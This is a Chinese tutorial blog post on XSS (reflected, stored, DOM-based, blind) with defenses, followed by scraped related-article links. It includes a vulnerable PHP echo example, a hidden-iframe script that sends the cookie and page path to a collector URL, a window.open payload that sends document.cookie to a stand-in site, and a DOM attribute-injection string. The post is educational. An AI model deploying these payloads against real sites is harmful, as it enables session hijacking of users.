web安全之XSS攻击

XSS 即跨站脚本攻击,是 OWASP TOP10 之一。它的全称为 Cross-site scripting,因为 CSS 这个简称已经被占用表示为前端三剑客之一的CSS,所以简写为XSS。

原理

浏览器将用户输入的恶意内容当做脚本去执行,从而导致了恶意功能的执行,这是一种客户端攻击方式,是网站应用程序的安全漏洞攻击,是脚本代码注入的一种。可分为三个类型:反射型存储型DOM型

反射型XSS

先来看下面示例

<?php
$input = $_GET["info"];
echo "<div>".$input."</div>" ?>

当用户在前端获取值通过url传递给后端时,上面代码将显示用户传递参数。如下:

思考:当传递参数本身为恶意代码时将会有怎么样的效果?如下:

http://localhost:3000/php_stu/xss_some/xss01.php?info=<script>alert(/xss/)</script>

效果就是会执行js的alert函数:

如果将info=<script>alert(/xss/)</script>替换成复杂逻辑代码可以获取用户信息做一些操作。例如改成如下代码:

        <script>
p = window.location.pathname;
c = document.cookie;
ifm = document.createElement("iframe");
document.body.appendChild(ifm);
ifm.width = 0;ifm.height = 0;
ifm.src = "http://localhost:3000/php_stu/xss_some/1.php?info=" + p + "&co" + c;
</script>

根据如上代码请求后发现我的1.php网站获取到了用户的网站路径和用户cookie:

总结:反射型XSS只是简单地把用户输入的数据”反射给浏览器“。也就是说,黑客往往需要诱导用户点击一个恶意链接(如钓鱼邮件等),才能进行攻击。因此反射型XSS也叫做非持久型XSS。

存储型XSS

存储型XSS会把用户输入的数据存储在服务器,这种XSS危害性更大。比如在博客网站上,一个人在自己的信息上写一段脚本。如”自我介绍<script>window.open("http://wwww.mysite.com?yourcookie=document.cookie")</script>“,而这个博客网站没有对自我介绍的内容进行正确的编码,当网站其他用户看到这个信息时,这个用户将会得到所有看他自我介绍的用户的会话cookie。更严重的是,如果攻击者的恶意代码可以自我扩散,特别是在社交网络上,就会形成蠕虫,早期的samy worm就是如此。

下面就是存储型XSS的一个应用场景:

基于DOM的XSS

基于DOM的XSS和反射型XSS原理基本上一样,不同的是基于DOM的XSS在服务器端没有办法控制,必须在客户端控制,因为不经过服务端,所以可以绕过WAF等的检测。DOM是前端HTML的概念,最好需先去了解下前端DOM树的概念。

比如有一网站代码如下:

<script>
function test() {
var inpStr = document.getElementById("usr").value;
document.getElementById("link").innerHTML = "<a href='"+inpStr+"' >testLink</a>";
}
</script> <div id="link"></div>
<input type="text" id="usr" value="" />
<input type="button" id="tmp" value="show" onclick="test()" />

效果如下:

点击show按钮之后生产一个超链接:

如果我在input输入框内输入如下字符串' onclick=alert(/xss/) '将得到如下效果:

得到的超链接标签内容为<a href='' onclick=alert(/xss/) ''> testLink</a>

跨站(XSS)盲打

这里再介绍下XSS盲打,XSS盲打就是尽可能地于一切可能的地方提交XSS语句,比如某些网站用户给站长投信反馈意见,如果管理员看到此xss语句就能获取到管理员的cookie信息。

XSS防范

  • HttpOnly

    HttpOnly由微软提出,在IE6中实现,目前主流浏览器都支持,意思是浏览器将禁止页面的JavaScript访问带有HttpOnly属性的Cookie。这样HttpOnly可以有效防止Cookie劫持。

  • 转义特殊字符

    • '&'
    • '"'
    • '''
    • '<'
    • '>'
  • 安全编码

    对后端传输到前端的输出进行编码,防止其被解析成为动态内容。比如php编程里的htmlentities()和htmlspecialchars()函数,python中django模板里的escape等。

总的来说坚持输入和输出不可信。

安全学习笔记-web安全之XSS攻击的更多相关文章

  1. 第二天学习笔记:(MDN HTML学习、web安全策略与常见攻击、语义化)

    一:Web入门 1:web文件命名 在文件名中应使用连字符(-).搜索引擎把连字符当作一个词的分隔符, 但不会以这种方式处理下划线. 养成在文件夹和文件名中使用小写,并且使用短横线而不是空格来分隔的习 ...

  2. Web安全测试学习笔记-DVWA-存储型XSS

    XSS(Cross-Site Scripting)大致分为反射型和存储型两种,之前对XSS的认知仅停留在如果网站输入框没有屏蔽类似<script>alert('ok')</scrip ...

  3. WEB安全测试之XSS攻击

    目录结构 1.背景知识 2.XSS漏洞的分类 3.XSS防御 4.如何测试XSS漏洞 5.HTML Encode 6.浏览器中的XSS过滤器 7.ASP.NET中的XSS安全机制 一.背景知识 1.什 ...

  4. 记一次JAVA WEB项目解决XSS攻击的办法(亲测有效)

    什么是XSS攻击 简单来说,XSS 攻击是页面被注入了恶意的代码,度娘一大堆的东西,不想说 系统架构主要是SSM框架,服务层另外使用了DubboX.   为啥说这个,因为SpringMVC对于Xss攻 ...

  5. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  6. web安全之xss攻击

    xss攻击的全称是Cross-Site Scripting (XSS)攻击,是一种注入式攻击.基本的做法是把恶意代码注入到目标网站.由于浏览器在打开目标网站的时候并不知道哪些脚本是恶意的,所以浏览器会 ...

  7. web安全之XSS攻击原理及防范

    阅读目录 一:什么是XSS攻击? 二:反射型XSS 三:存储型XSS 四:DOM-based型XSS 五:SQL注入 六:XSS如何防范? 1. cookie安全策略 2. X-XSS-Protect ...

  8. 基于web站点的xss攻击

    XSS(Cross Site Script),全称跨站脚本攻击,为了与 CSS(Cascading Style Sheet) 有所区别,所以在安全领域称为 XSS. XSS 攻击,通常指黑客通过 HT ...

  9. 常见Web安全漏洞--------XSS 攻击

    1,XSS 攻击 XSS攻击使用Javascript脚本注入进行攻击 例如在提交表单后,展示到另一个页面,可能会受到XSS脚本注入,读取本地cookie远程发送给黑客服务器端. <script& ...

随机推荐

  1. centOS 强制卸载PHP

    centOS上的php过低是需要重新安装时,不得不卸载自定义安装,如下操作 查看php版本命令: #php -v 这个命令是删除不干净的 #yum remove php 因为使用这个命令以后再用 #p ...

  2. js _proto_和prototype 区别 剖析

    首先,要明确几个点: 1.在JS里,万物皆对象.方法(Function)是对象,方法的原型(Function.prototype)是对象.因此,它们都会具有对象共有的特点. 即:对象具有属性__pro ...

  3. mysql中generated always as的使用

    -- generated always as的使用 CREATE TABLE t1( c1 INT, c2 DOUBLE(20,19) , c3 INT GENERATED ALWAYS AS(c1* ...

  4. 轻量级DI框架Guice使用详解

    背景 在日常写一些小工具或者小项目的时候,有依赖管理和依赖注入的需求,但是Spring(Boot)体系作为DI框架过于重量级,于是需要调研一款微型的DI框架.Guice是Google出品的一款轻量级的 ...

  5. 关于oracle中(+)的运用

    一.基础 1.1 SQL查询的基本原理 第一.单表查询:根据WHERE条件过滤表中的记录,形成中间表(这个中间表对用户是不可见的):然后根据SELECT的选择列选择相应的列进行返回最终结果.第二.两表 ...

  6. 【Azure API 管理】API Management如何有效且快速更新呢?如对APIs/Policy等设置内容

    问题描述 APIM中的内容(API, Policy)等内容,如果有需要更新时候,通常可以在Azure APIM门户上操作,通过一个接口一个设置的修改,也可以针对一个接口导入/导出的方式修改.当APIM ...

  7. linux服务器登录微信报警通知

    linux服务器ssh登录安全规则中,理论上要做到:防火墙限制,hosts.allow限制,root禁止登录,用户权限分配,ssh端口修改,登录时间限制,堡垒机登录. 这里只讲登录时间限制和登录报警通 ...

  8. java培训班出来的都怎么样了

    通过java培训班培训这种方式来提升自身技能,然后找到工作,是现在许多刚毕业或是想转行的从业者选择的途径之一,在这种趋势之下,许多相关人士都非常关注从java培训班出来的人们结果是否令人满意. 不可否 ...

  9. k8s被删除的pod一直Terminating状态

    微服务项目,部分服务无法delete,一直处于Terminating状态 kubectl get po -n gift 强制删除product:kubectl delete -n gift po/pr ...

  10. ensp上防火墙上配置nat

    博文大纲:一.华为防火墙NAT的六个分类:二.解决NAT转换时的环路及无效ARP:三.server-map表的作用:四.NAT对报文的处理流程:五.各种常用NAT的配置方法: 一.华为防火墙NAT的六 ...